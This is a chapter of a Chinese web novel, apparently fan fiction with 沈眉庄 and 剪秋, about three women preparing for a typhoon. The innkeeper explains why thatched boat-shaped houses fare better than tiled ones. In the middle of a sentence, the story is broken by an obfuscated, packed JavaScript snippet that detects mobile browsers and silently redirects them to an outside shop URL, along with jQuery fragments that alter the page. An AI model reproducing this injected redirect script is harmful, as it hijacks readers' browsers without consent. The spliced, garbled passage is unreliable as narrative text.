闷热粘滞的空气，像一张无形而厚重的手，紧紧扼住咽喉，每一次呼吸都需额外用力。天空是令人不安的铅灰色，低低地压下来，仿佛触手可及。海面反常地平静，波澜不兴，却是一种死寂的、蕴藏着巨大能量的平静，像一头蛰伏的巨兽，正在深深吸气，准备发出惊天动地的咆哮。


    我们知道，时间不多了。


    阿黎的警告绝非虚言。整个客栈，乃至目力所及的街巷，都弥漫着一种紧张而有序的备战气氛。渔民们早早将小船拖上岸，用粗麻绳牢牢捆在结实的木桩或大树上，再压上巨石。靠近海边的住户，正忙着用木板加固门窗，将散放在院中的家什、晾晒的鱼干海货匆匆收进屋内。连平日里四处乱跑嬉戏的孩童，也被大人厉声喝回屋里，小脸上带着懵懂的紧张。


    我们三人也不敢怠慢。剪秋和我去了附近唯一还开着的、门可罗雀的杂货铺，用身上所剩不多的铜钱，尽量多买些耐存放的干粮——主要是硬得像石头似的粗面饼、一些本地产的番薯干，还有几条咸得发苦、但能存放很久的咸鱼干。铺主是个精瘦的老头，一边给我们打包，一边絮叨着：“多备点，多备点，这风一来，少说也得闹腾一两天，出不了门，买不着东西。看这天色，这次怕是小不了……”


    沈眉庄则主动揽下了打水的活。院子里那口井边已经排起了小队，都是住客和附近的住户在争分夺秒地储备淡水。井水打上来，触手微温，带着一股淡淡的土腥气，但在此刻，已是弥足珍贵。沈眉庄挽起袖子，露出两截白皙得与周围环境格格不入的手臂，吃力地摇着辘轳，将一桶桶井水提上来，倒进我们屋里那个半人高的大水缸。汗水很快浸透了她的粗麻衣衫，贴在单薄的脊背上，额发湿漉漉地粘在脸颊，她也顾不上了，只是咬着牙，一趟又一趟。


    待我和剪秋抱着干粮回来，正看见沈眉庄瘫坐在我们屋前的石阶上，背靠着冰凉的墙壁，胸口剧烈起伏，大口大口地喘着气，脸色因劳累和闷热而涨得通红，连说话的力气似乎都快没了。她指了指屋内，气若游丝：“水……水缸，满了……够、够我们用几天了……”


    剪秋忙将干粮放进屋，又转身出来，扶起沈眉庄，给她扇着风，眼里却带着忧色，抬头望了望我们头顶这间客栈的“船型屋”。屋子确实低矮，圆木为骨，墙壁是厚厚的木板夹着泥灰，屋顶是厚厚的、用绳子纵横交错捆扎紧实的茅草和一种宽大的芦苇叶，堆叠得极高，几乎有半间屋子那么厚，看上去蓬松而……脆弱。


    “姐姐，”剪秋忍不住低声问我，又像是问自己，“这房子……用椰树叶子和茅草芦苇做顶，真的……牢靠吗？台风那么大，不会……不会被整个掀翻？或者漏雨漏成水帘洞？” 她想起在北方时，即便是青砖瓦房，遇到暴雨疾风，也难免有渗漏之时，何况这草木所制？


    沈眉庄缓过气来，也顺着剪秋的目光看去，脸上露出同样的疑虑：“我方才打水时，也问过客栈的帮工。他说，这已经是我们这里能想到的、最稳妥的法子了。” 她回忆着那帮工带着浓重口音、连比带划的解释，“他说，船型屋造得矮，趴在地方，风来的‘迎头’就小，不容易被吹翻。这茅草芦苇看着轻飘飘，不结实，可好处也在这里——万一真被风卷跑了，它也轻，砸不死人，砸不坏多少东西。铺这么厚，三尺都不止，就是为了尽量不透水。瓦片倒是结实，可要是被风掀起来，那就是要人命的‘飞刀’！”


    她话音刚落，客栈老板——那个黝黑精瘦的汉子，正好抱着一捆新的麻绳经过，听到我们的对话，停下脚步，用生硬的官话接口道：“这位娘子说得对。瓦片？嘿，别提了！”


    老板脸上露出心有余悸又带着几分讥诮的神色：“去年那场大风，比这回兆头还邪性。咱们这州衙，那可是青砖到顶，上好的筒瓦！气派吧？结果咋样？风一来，好家伙！那瓦片就跟不要钱似的，一片片被揭起来，满天飞！跟下刀子雨一样！衙门里头，漏得跟筛子似的，文书案卷泡了一地。外头更惨，飞出去的瓦片，把周围几十户人家的屋顶、窗户砸得稀烂！还伤了两个人！”


    他摇摇头，仿佛那混乱的场景犹在眼前：“风停了之后，州衙的老爷们一个个灰头土脸，还得挨家挨户赔不是、赔钱！衙门里头没法待了，文书都没个干地方放，只好挤到城里几个大点的客栈，赁了房间，临时办公。啧啧，那叫一个狼狈！”


    老板说着，指了指州城中心的方向：“吃一堑长一智。今年开春，州衙就拨了款子，正儿八经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963331|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地请了咱们这儿最好的师傅，照着咱们这船型屋的样子，改建衙署的房子！听说瓦片是不用了，也换成加厚的茅草顶，墙也加固了。就这两天，差不多该完工了。老爷们总算也想明白了，在这地界，好看不顶用，实用、保命，才是头一遭！”


    老板说完，抱着麻绳匆匆走了，大约是去加固客栈里其他容易被风吹动的物件。


    我们三人站在屋檐下，一时无言。只听得远处海潮声似乎隐约急促了些，风依旧闷着，一丝也无，但那种无形的压力，却越来越重。


    沈眉庄望着州城方向，喃喃道：“连衙门……都得学这茅草屋了……”


    “因地制宜，顺应天时。” 我轻声道，心中却是波澜起伏。这看似简陋的船型屋、茅草顶，是这片土地上的人民，历经无数次狂风巨浪的洗礼后，总结出的、与狂暴自然共存的生存智慧。它不是退缩，而是另一种形式的坚韧与灵活。州衙被迫放弃象征威仪与等级的砖瓦，采用民间的“土法”，这何尝不是一种隐喻？在这浩渺自然之前，官威、体制、体面，有时不堪一击，唯有尊重规律、贴近实际的“土办法”，才能存身。


    “进屋吧。” 我对她们说，“关好门窗，把东西归置好。这场风，看来是躲不过了。我们正好也瞧瞧，这‘最优解’，到底扛不扛得住‘海龙王’的脾气。”


    我们退回屋内，将木门紧紧闩上，又用备好的木棍顶住。窗户早已放下厚厚的木板挡板，只留一丝缝隙透气。屋内顿时昏暗下来，只有门缝窗隙透入的微光，映出漂浮的尘埃。空气更加闷热，混合着咸鱼干的味道、新打井水的土腥气，以及茅草屋顶特有的、干爽的植物气息。


    我们将干粮和饮水放在屋内最干燥、也最稳固的角落，用油布盖好。贵重物品和那几本一路跟随的书籍、奏折稿本，用油纸里三层外三层地包好，塞进床底一个原本用来放杂物的矮柜里。


    做完这一切，我们并排坐在那张硬板床边，静静地等待着。等待那场来自海洋深处的、酝酿已久的风暴。


    远处，隐约传来最后一阵匆忙的呼喊和加固物体的声响，随即，一切杂音都消失了，只剩下无边无际的、令人心悸的闷热与寂静。


    台风，要来了。